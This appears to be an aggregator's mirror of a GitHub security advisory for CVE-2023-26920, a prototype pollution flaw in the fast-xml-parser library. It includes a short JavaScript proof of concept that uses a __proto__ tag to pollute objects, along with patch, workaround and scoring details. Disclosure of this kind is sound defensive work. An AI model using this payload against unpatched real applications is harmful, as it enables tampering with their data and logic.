Ecosyste.ms: Advisories

Security Advisories: GSA_kwCzR0hTQS14M2NjLXgzOXAtNDJxeM4AAzz_

fast-xml-parser vulnerable to Prototype Pollution through tag or attribute name

Impact

As a part of this vulnerability, user was able to se code using __proto__ as a tag or attribute name.

const { XMLParser, XMLBuilder, XMLValidator} = require("fast-xml-parser");

let XMLdata = "<__proto__><polluted>hacked</polluted></__proto__>"

const parser = new XMLParser();
let jObj = parser.parse(XMLdata);

console.log(jObj.polluted) // should return hacked

Patches

The problem has been patched in v4.1.2

Workarounds

User can check for "proto" in the XML string before parsing it to the parser.

References

https://gist.github.com/Sudistark/a5a45bd0804d522a1392cb5023aa7ef7

Permalink: https://github.com/advisories/GHSA-x3cc-x39p-42qx
JSON: https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14M2NjLXgzOXAtNDJxeM4AAzz_
Source: GitHub Advisory Database
Origin: Unspecified
Severity: Moderate
Classification: General
Published: 11 months ago
Updated: 5 months ago

CVSS Score: 6.5
CVSS vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Identifiers: GHSA-x3cc-x39p-42qx, CVE-2023-26920
References:

• https://github.com/NaturalIntelligence/fast-xml-parser/security/advisories/GHSA-x3cc-x39p-42qx
• https://github.com/NaturalIntelligence/fast-xml-parser/commit/2b032a4f799c63d83991e4f992f1c68e4dd05804
• https://gist.github.com/Sudistark/a5a45bd0804d522a1392cb5023aa7ef7
• https://nvd.nist.gov/vuln/detail/CVE-2023-26920
• https://github.com/advisories/GHSA-793h-6f7r-6qvm
• https://github.com/advisories/GHSA-x3cc-x39p-42qx

Repository: https://github.com/NaturalIntelligence/fast-xml-parser
Blast Radius: 33.8

Affected Packages